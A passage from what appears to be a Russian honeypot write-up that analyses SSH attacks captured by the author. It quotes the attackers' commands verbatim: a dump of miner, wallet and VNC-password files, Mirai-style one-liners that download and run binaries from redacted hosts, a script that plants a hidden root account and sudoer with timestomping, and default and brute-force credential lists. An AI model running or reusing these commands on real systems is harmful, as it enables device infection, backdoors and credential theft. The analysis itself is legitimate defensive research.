'&lt;\/cmd7netstat>&lt;cmd7arpan>'; \/usr\/sbin\/arp -an ; echo '&lt;\/cmd7arpan>&lt;cmd7ifconfig>' ; \/usr\/sbin\/ifconfig ; echo '&lt;\/cmd7ifconfig>&lt;cmd7localconf>'; cat \/home\/ethos\/local.conf ; echo '&lt;\/cmd7localconf>&lt;cmd7remoteconf>' ; cat \/home\/ethos\/remote.conf ; echo '&lt;\/cmd7remoteconf>&lt;cmd7rclocal>' ; cat \/etc\/rc.local ; echo '&lt;\/cmd7rclocal>&lt;cmd7claymorestub>'; cat \/home\/ethos\/claymore.stub.conf ; cat \/hive-config\/rig.conf; cat \/hive-config\/wallet.conf ; cat \/hive-config\/vnc-password.txt ; echo '&lt;\/cmd7claymorestub>&lt;cmd7claymorezstub>' ; cat \/home\/ethos\/claymore-zcash.stub.conf ; echo '&lt;\/cmd7claymorezstub>&lt;cmd7sgminerconf>' ; cat \/var\/run\/ethos\/sgminer.conf ; echo '&lt;\/cmd7sgminerconf>&lt;cmd7iptables>' ; sudo -n iptables -S  &amp;&amp; sudo -n iptables -t nat -S ; echo '&lt;\/cmd7iptables>&lt;cmdcrontab>'; crontab -l; echo '&lt;\/cmdcrontab>' ; exit <\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u041e\u0442\u043b\u0438\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u044d\u0442\u043e\u0433\u043e \u0431\u043e\u0442\u043d\u0435\u0442\u0430 \u043c\u043e\u0436\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0435\u043c\u043d\u043e\u0433\u043e\u043f\u0430\u0440\u043e\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442. \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442 <i>SSH-2.0-OpenSSH_8.4p1 Raspbian-5+b1<\/i>, \u0430 \u0434\u043b\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u0437\u0430\u043b\u043e\u0433\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432\u0441\u0435\u0433\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u043f\u0430\u0440\u044b \u043b\u043e\u0433\u0438\u043d-\u043f\u0430\u0440\u043e\u043b\u044c:<\/p>\n<ol>\n<li>rokos:rokos. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0434\u043b\u044f ROKOS Core \u2014 \u0431\u0438\u0442\u043a\u043e\u0438\u043d-\u043d\u043e\u0434\u0430 \u043d\u0430 \u00ab\u043c\u0430\u043b\u0438\u043d\u043a\u0435\u00bb<\/li>\n<li>osmc:osmc. \u041f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0434\u043b\u044f \u043c\u0435\u0434\u0438\u0430\u0446\u0435\u043d\u0442\u0440\u0430 OSMC.<\/li>\n<li>root:libreelec. \u041f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u043c\u0435\u0434\u0438\u0430\u0446\u0435\u043d\u0442\u0440\u0430 libreelec.<\/li>\n<li>root:admin <\/li>\n<\/ol>\n<p>  \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u00ab\u043c\u0430\u043b\u0438\u043d\u043a\u0430\u00bb \u0438\u0449\u0435\u0442 \u0441\u0435\u0431\u0435 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0438 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0432\u043e\u0439 \u043a\u043b\u044e\u0447, \u0447\u0442\u043e\u0431\u044b \u0437\u0430\u0439\u0442\u0438 \u043f\u043e\u0437\u0436\u0435. \u0414\u0440\u0443\u0433\u043e\u0439 \u0437\u0430\u0445\u043e\u0434 Mirai \u2014 \u044d\u0442\u043e \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b.<\/p>\n<pre><code class=\"python\"># \u0412\u0435\u0440\u0441\u0438\u044f 1 lscpu | grep \"CPU(s):                \" &amp;&amp; echo -e \"fKSRQZMyM4JX\\nfKSRQZMyM4JX\" | passwd &amp;&amp; cd \/tmp; wget http:\/\/[\u0414\u0410\u041d\u041d\u042b\u0415 \u0423\u0414\u0410\u041b\u0415\u041d\u042b]\/pedalcheta\/cutie.x86_64; curl -s -O http:\/\/[\u0414\u0410\u041d\u041d\u042b\u0415 \u0423\u0414\u0410\u041b\u0415\u041d\u042b]\/pedalcheta\/cutie.x86_64; chmod 777 cutie.x86_64; .\/cutie.x86_64 x86h; rm -rf cutie.*  # \u0412\u0435\u0440\u0441\u0438\u044f 2 cd \/tmp || cd \/var\/run || cd \/mnt || cd \/root || cd \/; wget http:\/\/[\u0414\u0410\u041d\u041d\u042b\u0415 \u0423\u0414\u0410\u041b\u0415\u041d\u042b]\/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp [\u0414\u0410\u041d\u041d\u042b\u0415 \u0423\u0414\u0410\u041b\u0415\u041d\u042b] -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g [\u0414\u0410\u041d\u041d\u042b\u0415 \u0423\u0414\u0410\u041b\u0415\u041d\u042b]; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 [\u0414\u0410\u041d\u041d\u042b\u0415 \u0423\u0414\u0410\u041b\u0415\u041d\u042b] ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf * <\/code><\/pre>\n<p>  \u0412\u0435\u0440\u0441\u0438\u044f 1 \u0438\u043c\u0435\u0435\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u043c\u044f cutie.x86_64, \u0430 \u0432\u043e\u0442 \u0432\u0435\u0440\u0441\u0438\u044f 2 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0430\u0441\u044c \u043c\u043d\u0435 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438 \u043a\u0430\u043a \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432, \u0442\u0430\u043a \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u0432\u0435\u0440\u0441\u0438\u044f 2 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f \u0440\u0430\u0437\u043d\u044b\u0445 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440.<\/p>\n<pre><code class=\"python\">c0r0n4x.sh:  Bourne-Again shell script, ASCII text executable c0r0n4x.arm:  ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, no section header c0r0n4x.arm5: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, no section header c0r0n4x.arm6: ELF 32-bit LSB executable, ARM, EABI4 version 1 (GNU\/Linux), statically linked, no section header c0r0n4x.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (GNU\/Linux), statically linked, no section header c0r0n4x.m68k: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped c0r0n4x.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header c0r0n4x.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header c0r0n4x.ppc:  ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (GNU\/Linux), statically linked, no section header c0r0n4x.sh4:  ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped c0r0n4x.spc:  ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped c0r0n4x.x86:  ELF 32-bit LSB executable, Intel 80386, version 1 (GNU\/Linux), statically linked, no section header <\/code><\/pre>\n<p>  \u041e\u0442\u0447\u0435\u0442 VirusTotal: <a href=\"https:\/\/www.virustotal.com\/gui\/file\/4e41b6aa33b981cc188813374b48d0dd1f0d37a0f10cbd5e4e14d3469d90420a\">\u0440\u0430\u0437<\/a>, <a href=\"https:\/\/www.virustotal.com\/gui\/file\/96fa64205cdd997ec5e71e6670a9b10d4a6bb3008e01ba3ee5a5eb3a5c89eea6\/detection\">\u0434\u0432\u0430<\/a>, <a href=\"https:\/\/www.virustotal.com\/gui\/file\/e69ec81ad468b4a2bb228bb52db68d576e521e28d4853130e53f99b009bbf986\/detection\">\u0442\u0440\u0438<\/a>.<\/p>\n<p>  \u0412 \u0437\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b\u0435 \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.<\/p>\n<pre><code class=\"python\">uname -s -m cat \/proc\/uptime uname -a || echo - cat \/etc\/passwd \/ip cloud print echo $(echo -n XSUCCESX &amp;&amp; uname -a) <\/code><\/pre>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u0438\u043a\u043e\u0441\u043d\u0435\u043c\u0441\u044f \u043a \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e\u043c\u0443: \u043a \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u0441\u0435\u0441\u0441\u0438\u044f\u043c.<\/p>\n<p>  <font color=\"#EB4247\"><\/p>\n<h2>\u0420\u0443\u0447\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430<\/h2>\n<p><\/font><br \/>  \u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0431\u043e\u043b\u044c\u0448\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0441\u0441\u0438\u0439 \u0431\u044b\u043b\u0430 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430. 40 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0441\u0435\u0441\u0441\u0438\u0438 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430 \u043a\u043e\u043d\u0446\u0430 \u0444\u0430\u0439\u043b\u0430. \u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u044d\u0442\u0438\u0445 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0435\u0441\u0441\u0438\u0439 \u0431\u044b\u043b\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b \u0441\u0432\u044f\u0437\u043a\u043e\u0439 <i>root:honeypot<\/i> \u0438 <i>honeyhoney:pot<\/i> \u2014 \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u043d\u0430 \u0442\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u0440\u0430\u0437\u0433\u0430\u0434\u0430\u043b\u0438 \u043c\u043e\u044e \u0437\u0430\u0434\u0443\u043c\u043a\u0443. \u0415\u0449\u0435 9 \u2014 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0444\u0430\u0439\u043b\u0430 \u0447\u0435\u0440\u0435\u0437 SCP \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f.<\/p>\n<pre><code class=\"python\">enable system shell sh linuxshell cd \/tmp\/; echo \"senpai\" > rootsenpai; cat rootsenpai; rm -rf rootsenpai cd \/var\/; echo \"senpai\" > rootsenpai; cat rootsenpai; rm -rf rootsenpai <\/code><\/pre>\n<p>  \u0417\u0430\u0442\u0435\u043c \u0435\u0449\u0435 \u0447\u0435\u0442\u044b\u0440\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u043b\u0436\u0435\u043d \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0431\u044d\u043a\u0434\u043e\u0440.<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u0421\u043a\u0440\u0438\u043f\u0442<\/b>                         <\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"python\">export HISTFILE=\/dev\/null export HISTSAVE=\/dev\/null unset HISTFILE unset HISTSAVE  if ! type export >\/dev\/null 2>&amp;1; then echo \"ERROR: BADtype: export\" exit fi if [[ -z $(ps -elf |wc -l) ]]; then echo \"ERROR: BADps\" fi if [[ \"$(ps -elf |wc -l)\" -le 4 ]]; then echo \"ERROR: BADps\" exit fi  # bad shells ### not defined # echo \"ERROR: BADshell\"  if [[ ubuntu != \"root\" ]]; then if ! exec echo ubuntu |sudo -S su -c 'id -u'; then echo \"ERROR: failed to get root\" exit fi fi exec echo ubuntu |sudo -S su -c ' # super user if [[ -z $(grep \"^systemd:\" \/etc\/passwd 2>\/dev\/null) ]]; then if ! echo \"systemd:x:0:0::\/root:\/bin\/bash\" >> \/etc\/passwd; then echo \"ERROR: failed to add user\" exit else touch -r \/bin\/ls \/etc\/passwd fi fi if [[ -z $(grep \"^systemd:\" \/etc\/shadow 2>\/dev\/null) ]]; then if ! echo systemd:\\$6\\$97bAjPBL\\$LWTjOvlIt645bflwh0d2d4j7GaxunVgoHbhzIvnyNkdjM3zl0H8sUZ7PVDRKCJBB.n2I1HjeH4zV4wFA.\/yyI0:18359:::::: >> \/etc\/shadow; then echo \"ERROR: failed to add user\" exit else touch -r \/bin\/ls \/etc\/shadow fi fi # normal user if [[ -z $(grep \"^systemx:\" \/etc\/passwd 2>\/dev\/null) ]]; then if ! echo \"systemx:x:9090:9090::\/home\/systemx:\/bin\/bash\" >> \/etc\/passwd; then echo \"ERROR: failed to add user\" exit else touch -r \/bin\/ls \/etc\/passwd fi fi if [[ -z $(grep \"^systemx:\" \/etc\/shadow 2>\/dev\/null) ]]; then if ! echo systemx:\\$6\\$97bAjPBL\\$LWTjOvlIt645bflwh0d2d4j7GaxunVgoHbhzIvnyNkdjM3zl0H8sUZ7PVDRKCJBB.n2I1HjeH4zV4wFA.\/yyI0:18359::::::  >> \/etc\/shadow; then echo \"ERROR: failed to add user\" exit else touch -r \/bin\/ls \/etc\/shadow fi fi if [[ -z $(grep ^systemx \/etc\/sudoers 2>\/dev\/null) ]]; then if ! echo \"systemxALL=(ALL) ALL\" >> \/etc\/sudoers; then echo \"ERROR: failed to add user\" exit else touch -r \/bin\/ls \/etc\/sudoers fi fi if [[ -z $(grep \"^systemx:\" \/etc\/group 2>\/dev\/null) ]]; then if ! echo \"systemx:x:9090:\" >> \/etc\/group; then echo \"ERROR: failed to add user\" exit else touch -r \/bin\/ls \/etc\/group fi fi echo [\u0414\u0410\u041d\u041d\u042b\u0415 \u0423\u0414\u0410\u041b\u0415\u041d\u042b] > \/etc\/selfip ' <\/code><\/pre>\n<p>  <\/div>\n<\/p><\/div>\n<p>  \u0418 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0435 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0435\u0441\u0441\u0438\u0438 \u0431\u044b\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c\u0438:<\/p>\n<ol>\n<li>SSH-2.0-PuTTY_Release_0.78 \u2014 AS6327 Shaw Communications Inc. (\u041a\u0430\u043d\u0430\u0434\u0430)<\/li>\n<li>SSH-2.0-PuTTY_Release_0.78 \u2014 AS43289 Trabia SRL (\u041c\u043e\u043b\u0434\u043e\u0432\u0430) <\/li>\n<\/ol>\n<p>  \u0412 \u043e\u0431\u043e\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043c\u0430\u0439\u043d\u0435\u0440 xmrig. \u041f\u043e\u0447\u0435\u043c\u0443 \u044f \u0440\u0435\u0448\u0438\u043b, \u0447\u0442\u043e \u044d\u0442\u043e \u0440\u0443\u0447\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430? \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0435 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u044b vim \u0438 nano, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435 \u0431\u044b\u043b\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435, \u0438 \u043e\u043d \u0440\u0435\u0448\u0438\u043b \u0438\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c. \u041f\u0440\u0438\u0447\u0435\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0445 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u043e\u0432 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u043b\u0430\u0441\u044c \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u043e\u043c \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0445 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u043e\u0432.<\/p>\n<p>  \u041e\u0434\u0438\u043d \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0437\u0430\u0448\u0435\u043b, \u0447\u0442\u043e\u0431\u044b \u043e\u0441\u043a\u043e\u0440\u0431\u0438\u0442\u044c \u043c\u0435\u043d\u044f. AS4766 Korea Telecom, \u0420\u0435\u0441\u043f\u0443\u0431\u043b\u0438\u043a\u0430 \u041a\u043e\u0440\u0435\u044f, \u043a\u043b\u0438\u0435\u043d\u0442 <i>SSH-2.0-HELLOWORLD<\/i>. \u041e\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443.<\/p>\n<pre><code class=\"python\">root@fb622ba2b5ab:~# echo -e '\\x67\\x61\\x79\\x66\\x67\\x74' gayfgt <\/code><\/pre>\n<p>  \u0412\u043e\u0442 \u0448\u0430\u043b\u0443\u043d\u0438\u0448\u043a\u0430.<\/p>\n<p>  <font color=\"#EB4247\"><\/p>\n<h2>\u0421\u0442\u0440\u0430\u0445 \u0438 \u044f\u0440\u043e\u0441\u0442\u044c<\/h2>\n<p><\/font><br \/>  \u0412\u043d\u0435\u0437\u0430\u043f\u043d\u043e \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u043d\u0435 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0433\u043e \u0440\u043e\u0434\u0430 \u043b\u043e\u0432\u0443\u0448\u043a\u0438. \u041f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0438\u0437 AS38496 PT Cyber Network Indonesia, \u0418\u043d\u0434\u043e\u043d\u0435\u0437\u0438\u044f, \u043f\u043e\u0445\u043e\u0436\u0435, \u043f\u0440\u0438\u0448\u0435\u043b \u0432 \u044f\u0440\u043e\u0441\u0442\u044c \u043e\u0442 \u043c\u043e\u0435\u0433\u043e \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430.<\/p>\n<p>  \u0421\u043f\u0435\u0440\u0432\u0430 \u043e\u043d \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043e\u043a\u043e\u043b\u043e \u0441\u0442\u0430 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u0437\u0430 \u0441\u0435\u043a\u0443\u043d\u0434\u0443. \u0412\u0438\u0434\u0438\u043c\u043e, \u043e\u0436\u0438\u0434\u0430\u043b, \u0447\u0442\u043e \u044d\u0442\u043e \u0438\u0441\u0447\u0435\u0440\u043f\u0430\u0435\u0442 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u043c\u043e\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u043e \u0447\u0443\u0434\u0430 \u043d\u0435 \u0441\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u043b\u0435\u0433\u043a\u043e\u0432\u0435\u0441\u043d\u044b\u0435, \u0430 \u043c\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0446\u0435\u043b\u044b\u0445 100 \u0413\u0411 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u0410 \u0432\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u00ab\u043f\u0443\u0441\u0442\u044b\u0435\u00bb \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u044b, \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0432 \u0432 \u043d\u0438\u0445 \u0434\u0430\u0436\u0435 \u0444\u043e\u0440\u043a-\u0431\u043e\u043c\u0431\u044b.<\/p>\n<p>  \u0414\u0430\u043b\u0435\u0435 \u043e\u043d \u043d\u0430\u0448\u0435\u043b \u00ab\u0441\u043e\u0441\u0435\u0434\u043d\u0438\u0435\u00bb IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u0438\u0437 \u0442\u043e\u0439 \u0436\u0435 \u043f\u043e\u0434\u0441\u0435\u0442\u0438 \u0438 \u0443\u0432\u0438\u0434\u0435\u043b \u0442\u0430\u043c SSH-\u043f\u043e\u0440\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043f\u0443\u0441\u043a\u0430\u044e\u0442, \u0438 \u043d\u0430\u0447\u0430\u043b \u0443\u0441\u0435\u0440\u0434\u043d\u043e \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0442\u044c \u043a \u043d\u0438\u043c \u043f\u0430\u0440\u043e\u043b\u044c \u0438 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.<\/p>\n<p>  \u0420\u0430\u0441\u0447\u0435\u0442, \u0432\u0438\u0434\u0438\u043c\u043e, \u0431\u044b\u043b \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u00ab\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0435\u00bb \u043f\u043e\u0440\u0442\u044b, \u043d\u043e, \u043a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u044d\u0442\u043e \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043b\u043e\u0432\u0443\u0448\u043a\u0438 \u0438\u0437 \u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u0442\u044c\u0438. \u041e\u0442 \u0440\u0430\u0437\u0433\u043d\u0435\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0445\u0430\u043a\u0435\u0440\u0430 \u044f \u0441\u043e\u0431\u0440\u0430\u043b \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0430\u0440\u043e\u043b\u0435\u0439:<\/p>\n<ul>\n<li><b>6PugPK5iEsR30Mj5rrkKdZucsbR7yy5GqpxbHX6zbdiNnUvqMQunInkvpF9uw1RLJzjfgX3qTqraLEwlqwYYGR6dY3NlKdJqBpxA<\/b> \u2014 \u0441\u0430\u043c\u044b\u0439 \u0434\u043b\u0438\u043d\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c, 100 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432.<\/li>\n<li><b>@^@^@^@^@^@^@^@^@^@^@^@^@^@^@btc@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^localhost@^@@<\/b> \u2014 \u0432\u0442\u043e\u0440\u043e\u0439 \u043f\u043e \u0434\u043b\u0438\u043d\u0435 \u043f\u0430\u0440\u043e\u043b\u044c, \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e.<\/li>\n<li><b>Accepted host %s ip %s client_user %s server_user %s<\/b> \u2014 \u043d\u0435 \u0438\u043c\u0435\u044e \u043d\u0438 \u043c\u0430\u043b\u0435\u0439\u0448\u0435\u0433\u043e \u043f\u043e\u043d\u044f\u0442\u0438\u044f \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0441\u0442\u0430\u043b\u043e \u043f\u0430\u0440\u043e\u043b\u0435\u043c.<\/li>\n<li><b>Let me, teach you, the ancient method of Fu Thai !<\/b> \u2014 \u043c\u043e\u0436\u0435\u0442, \u043e\u043d \u0445\u043e\u0442\u0435\u043b \u043c\u0435\u043d\u044f \u043d\u0430\u0443\u0447\u0438\u0442\u044c \u0447\u0435\u043c\u0443-\u0442\u043e, \u043d\u043e \u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u043e\u0432, \u0442\u0430\u043a \u0447\u0442\u043e \u0435\u0433\u043e \u0438\u0441\u0442\u0438\u043d\u043d\u044b\u0435 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043d\u0435 \u044f\u0441\u043d\u044b.<\/li>\n<li><b><a href=\"http:\/\/www.txwscx.comsritgyxf2sxy19831122zx\">www.txwscx.comsritgyxf2sxy19831122zx<\/a><\/b> \u2014 \u0435\u0441\u0442\u044c \u0434\u043e\u043c\u0435\u043d \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430, \u043d\u043e \u043d\u0430\u0431\u043e\u0440 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 